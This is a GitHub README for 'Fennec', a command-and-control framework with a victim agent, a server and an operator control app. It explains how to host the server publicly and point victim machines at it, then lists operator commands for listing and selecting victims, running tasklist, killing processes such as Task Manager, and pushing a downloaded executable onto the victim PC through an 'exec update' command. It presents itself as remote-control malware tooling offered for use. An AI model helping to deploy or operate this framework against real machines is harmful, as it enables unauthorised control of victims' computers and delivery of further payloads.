Skip to content

Fennec Command and Control (C2) framework with three components: a victim agent, a server, and a control app. The victim connects to the server, and the control app manages the victim through the server.

License

Notifications You must be signed in to change notification settings

heshanthenura/Fennec

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

44 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Fennec

Fennec Command and Control (C2) framework with three components: a victim agent, a server, and a control app. The victim connects to the server, and the control app manages the victim through the server.

Requirements

JDK 21: Required for running the server and control app.

Gradle 8.5: Required for building and managing the Java server and control app.

NIM 21: Required for compiling victim app.

Instructions

  1. Host the Server
    Start the server and make it publicly accessible.

  2. Connect Clients and Victims
    Configure the client and victim to connect to the server by updating the IP address and port as needed.

Usage

Commands

  • List all connected victims:

    lv
    
  • Select a victim:

    sv <id>
    

    example:-

    sv 0
    
  • Execute commands on the selected victim:
    After selecting a victim using sv <victim_id>, you can execute the following commands:

    • View running processes:
      Use the following command to display a list of all running processes on the selected victim:
    exec tasklist
    • Kill a specific process:
      Use the following command to terminate a specific process on the selected victim:
    exec kill <process_name>

    Example:
    To kill the Task Manager process (taskmgr.exe), use:

    exec kill taskmgr.exe
    • Updating the victim app:
      Use the following command to terminate a specific process on the selected victim:

    URL should not be https

    exec update <url> <app_name>

    app_name is the way how victim app will save in victims pc

    Example:

    exec update example.com srv.exe

About

Fennec Command and Control (C2) framework with three components: a victim agent, a server, and a control app. The victim connects to the server, and the control app manages the victim through the server.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published